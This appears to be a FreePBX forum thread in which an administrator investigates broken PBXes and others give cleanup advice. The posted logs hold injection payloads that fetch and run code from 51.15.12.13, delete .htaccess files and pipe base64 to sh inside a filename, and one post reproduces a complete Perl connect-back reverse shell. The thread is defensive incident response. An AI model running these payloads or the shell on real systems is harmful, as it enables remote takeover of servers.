Recently I’ve had a number of clients calling with PBXes that don’t function anymore. Looking into this, I’ve found some code that gets in via injection and then looks like it sets up communication with a central server. I’m a bit out of my league here and was wondering what to do. The code is in PHP and I have it available for analysis.
There is some cleanup you can do but if you don’t know everything to look for you may miss something. The best option in these cases is “nuke and pave” Clean install. You can backup configs but DON’T back up any folders. Likely there is a file or two with something like exec(base64_decode(…)) which re-adds the backdoor on page load.
Make sure ALL modules are up to date. afterwards.
In addition to what The James has said, I’d also check the cronmanager table in the asterisk MySQL database for rogue entries that will attempt to put back malicious PHP code if it’s deleted.
You should post some filenames/paths and any other info here so we can see if this looks like something familiar…
So my first clue what a line such as this in FreePBX_Security.log. This guy apparently calls himself T3rr0r (Terror)
{“description”:"\r\n\r\n\r\nAction: Originate\r\nChannel: Local/*111@from-internal/n\r\nApplication: system\r\nData: curl -ks http://51.15.12.13/t/cmd.txt > /tmp/a.out || wget http://51.15.12.13/t/cmd.txt -O /tmp/a.out || GET http://51.15.12.13/t/cmd.txt > /tmp/a.out;php /tmp/a.out;cat /tmp/a.out > /var/www/html/admin/config.all.php;mv /tmp/a.out config.all.php;rm /var/www/html/.htaccess;rm /var/www/html/admin/.htaccess\r\n\r\n@from-internal/n\r\nExten: s\r\nContext: vm-callme\r\nPriority: 1\r\nCallerID: VMAIL/\r\nVariable: MSG=,MBOX=\r\n\r\n\r\n",“number”:“1236545654”,“module”:“blacklist”,“command”:“add”}
[2017-09-14 05:17:53] {“module”:“recordings”,“command”:“savebrowserrecording”,“extension”:“0”,“language”:“de”,“systemrecording”:“t3rr0r.wav”,“name”:“aaa”,“id”:“1”,“filename”:“t3rr0r____echo cm0gL3Zhci93d3cvaHRtbC8uaHRhY2Nlc3M7cm0gL3Zhci93d3cvaHRtbC9hZG1pbi8uaHRhY2Nlc3M7Y3VybCAta3MgaHR0cDovLzUxLjE1LjEyLjEzL3QvY21kLnR4dCA+IC90bXAvYS5vdXQgfHwgd2dldCBodHRwOi8vNTEuMTUuMTIuMTMvdC9jbWQudHh0IC1PIC90bXAvYS5vdXQgfHwgR0VUICBodHRwOi8vNTEuMTUuMTIuMTMvdC9jbWQudHh0ID4gL3RtcC9hLm91dDtwaHAgL3RtcC9hLm91dA== | base64 -d | sh____t3rr0r”}
There is a download from: http://212.129.63.22/t/cmd.txt and then http://212.129.63.22/t/c99.txt.
Crontabs seem to be ok, An attempt to add AMI user atmin (no type) does not seem to have worked and a few file locations that it uses also don’t exist, so I think I’m ok, but the fact that this file is in place makes me check.
generally the commands aren’t run by anything obvious. just a system call when a page loads
Looking in the code, I find this but that may be telling:
print “Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n”;
Also makes mention a few times about C99shell.
This code seems to be the heart of the system, or at least a bridge to it:
#!/usr/bin/perl
use IO::Socket;
$system = ‘/bin/sh’;
$ARGC=@ARGV;
print “Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n”;
if ($ARGC!=2) {
print “Usage: $0 [Host] [Port] \n\n”;
die “Ex: $0 127.0.0.1 2121 \n”;
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(‘tcp’)) or die print “[-] Unable to Resolve Host\n”;
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print “[-] Unable to Connect Host\n”;
print “[] Connecting… to $ARGV[0] port $ARGV[1]\n";
print "[] Connected to remote host \n”;
SOCKET->autoflush();
open(STDIN, “>&SOCKET”);
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print “Connect Back Backdoor From SoQoR Shell\nHttp://www.soqor.net\n\n”;
system(“unset HISTFILE; unset SAVEHIST;echo Uname; uname -a;echo;
echo ID; id;echo;echo PWD; pwd”);
system($system);
This was a vulnerability that was fixed over a year ago
Interesting. This is a system that I’ve pretty much kept up to date. This is additionally on a FPBX14.
I’ve looked for a few others flags, and the C99 Shell. Nothing found so I think security measures worked.
BTW: This attack came from poneytelecom.eu which seems to already have a bad rep.
Was it a system that you patched when it was 13 and then you upgraded to 14? because the backdoors can/could have been around since you got hacked last year.
Furthermore it really doesn’t matter that it’s a FPBX14 system. If you had FPBX 13 or 14 last year in August you’d have been vulnerable. Version of FreePBX itself is irrelevant
No, this was a fresh install to 14 from the distro ISO. I only mentioned the FPBX version in case it could be important.
The hack they are trying to execute is impossible. I think you are showing us a red herring. There is no proof that the command they attempted to execute actually ran
Well, as I mentioned a bit ago, nothing seems to have been installed, so It looks like the security worked.
Wait so nothing was on your system? The only thing you found was in FreePBX_security.log?
Make sure your system is not accepting tcp connections to 5038 from the internet, they seem to be trying to instigate an ami originate call and make sure that you have nothing running on 2121
lsof -i :2121
The BETTER security is to not expose the freepbx admin interface (or ANYTHING) to the wider internet. The FreePBX firewall handles all that for you automatically.
What made me look into this was a mention in the logs of every system I looked at were the phones just stopped working was a number of lines with the following: [CRITICAL] (admin/bootstrap.php:270) - Connection attmempt to AMI failed
I presume that has something to do with the check to see if asterisk is UP, and also for the dashboard, but I had never seen it before and restarting the server made it go away, but I wanted to look into WHY…
And yes, so far the only thing I’ve found was in the logs, but I prefer to err on the side of caution.
The manager port isn’t open to the Internet, but it seems to be one way it was using to access other parts of the system. Create an admin user called ATMIN and use it to access other parts.
I would surmise that the injected server on 2121 is their attempt to backdoor to the AMI on 5038, and they can’t spell, the question remains however how did that code get that far into your system, access to anything localhost is a redflag.